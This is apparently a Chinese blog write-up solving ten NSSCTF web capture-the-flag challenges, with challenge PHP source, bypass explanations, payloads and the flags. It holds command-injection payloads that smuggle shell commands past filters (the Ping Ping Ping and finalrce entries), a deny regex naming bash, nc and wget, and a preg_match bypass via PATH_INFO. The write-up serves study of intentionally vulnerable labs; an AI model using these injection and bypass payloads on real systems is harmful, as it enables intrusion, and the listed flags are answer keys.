NSSCTF之Web篇刷题记录(12)

NSSCTF之Web篇刷题记录[12]

    • [NCTF 2018]签到题:
    • [鹤城杯 2021]EasyP:
    • [NSSCTF 2022 Spring Recruit]ezgame:
    • [GXYCTF 2019]Ping Ping Ping:
    • [SWPUCTF 2021 新生赛]finalrce:
    • [NISACTF 2022]checkin:
    • [UUCTF 2022 新生赛]websign:
    • [GDOUCTF 2023]hate eat snake:
    • [HNCTF 2022 Week1]2048:
    • [HDCTF 2023]Welcome To HDCTF 2023:

NSSCTF平台:https://www.nssctf.cn/
PS:记得所有的flag都改为NSSCTF

[NCTF 2018]签到题:

打开是一个search.php 查看源代码都没有找到flag,最后在index.php的响应头找到了!

NSSCTF之Web篇刷题记录(12)_第1张图片

NSSCTF{w3lc0m3_t0_nctf2018hhhhhhhhhhhh}

[鹤城杯 2021]EasyP:


include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

分析一下代码$_SERVE[‘PHP_SELF’] 调用的脚本的路径
$_SERVER[‘REQUEST_URI’]取得当前URI,也就是除域名外后面的完整的地址路径
basename函数: 返回路径中的文件名部分。

NSSCTF之Web篇刷题记录(12)_第2张图片
现在需要绕过preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF']和正则 只要在php\后面加一个非ascll码就行比如汉字 由于preg_match正则匹配,我们不能直接输入show_source=‘’ 所以可以将show_source变为show[source
绕过preg_match正则方法是,在 index.php/utils.php后面添加一个非ascii表中的字符(很多都可以)

payload:/index.php/utils.php/巧克力?show[source=1

NSSCTF之Web篇刷题记录(12)_第3张图片

NSSCTF{9ce4af3e-811f-49cd-a8f3-544efa897fb9}

[NSSCTF 2022 Spring Recruit]ezgame:

玩游戏65分给你flag(懒得玩)提示给的是js所以我们找一下,在js/preload.js中找到FLAG

NSSCTF之Web篇刷题记录(12)_第4张图片
在这里插入图片描述
NSSCTF之Web篇刷题记录(12)_第5张图片

NSSCTF{c0700f5b-604f-4b8f-b017-4be822fb5de6}

[GXYCTF 2019]Ping Ping Ping:

这题之前讲过可以参考链接:https://blog.csdn.net/Aluxian_/article/details/130053100?spm=1001.2014.3001.5501

Payload:?ip=127.0.0.1;cat$IFS$9`ls`

NSSCTF之Web篇刷题记录(12)_第6张图片
NSSCTF之Web篇刷题记录(12)_第7张图片

NSSCTF{8117affa-f16d-4085-b644-696ae9b83a2c}

[SWPUCTF 2021 新生赛]finalrce:

NSSCTF之Web篇刷题记录(12)_第8张图片

 <?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
} 

preg_match 函数用于执行一个正则表达式匹配,这里看到基本上过滤了很多命令cat,ls这种都不能使用了 可以使用tee命令

由于ls正则表达被过滤,所以我们还需要绕过preg_match 可以使用反斜杠(\)转义字符

这里的tee功能是从标准输入读取,再写入标准输出和文件 Payload:?url=l\s / |tee 1.txt 然后访问1.txt看到flllllaaaaaaggggggg

NSSCTF之Web篇刷题记录(12)_第9张图片
tac没有被过滤然后直接 构造Payload:?url=tac /flllll\aaaaaaggggggg | tee 9.txt (记得|后面要空格)在访问9.txt

NSSCTF之Web篇刷题记录(12)_第10张图片
NSSCTF之Web篇刷题记录(12)_第11张图片

NSSCTF{9dccd221-4cd1-41f7-9feb-3c463839eb88}

[NISACTF 2022]checkin:

提示:尝试复制源码看看->010editor

识别到Unicode特殊字符复制到VScode中 复制下来URLencode编码一下

在这里插入图片描述

Payload:?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6Ugeiwo%E2%81%A9%E2%81%A6cuishiyuan=%E2%80%AE%E2%81%A6 Flag!%E2%81%A9%E2%81%A6N1SACTF

NSSCTF之Web篇刷题记录(12)_第12张图片

NSSCTF{5359287b-d34e-4df8-ac95-1670f011cf2c}

[UUCTF 2022 新生赛]websign:

NSSCTF之Web篇刷题记录(12)_第13张图片

[GDOUCTF 2023]hate eat snake:

通过即可得到flag 或者先G几次 然后点取消,等六十秒左右,再按空格就会出flag

NSSCTF之Web篇刷题记录(12)_第14张图片
NSSCTF之Web篇刷题记录(12)_第15张图片

[HNCTF 2022 Week1]2048:

很经典的一个游戏了直接F12查看源代码 找到js 进去查看alert()输出复制到控制台运行即可。

NSSCTF之Web篇刷题记录(12)_第16张图片
在这里插入图片描述
NSSCTF之Web篇刷题记录(12)_第17张图片
NSSCTF之Web篇刷题记录(12)_第18张图片

NSSCTF{53160c888e25c3f828b23e316a7ae083}

[HDCTF 2023]Welcome To HDCTF 2023:

正常玩游戏 G了就会给FLAG,或者去js找,找到了一个JSFuck编码解码即可。

NSSCTF之Web篇刷题记录(12)_第19张图片
在这里插入图片描述

NSSCTF{We13ome_t@_HDCTF_2o23}

你可能感兴趣的:(CTF,前端,php,开发语言,CTF,Web)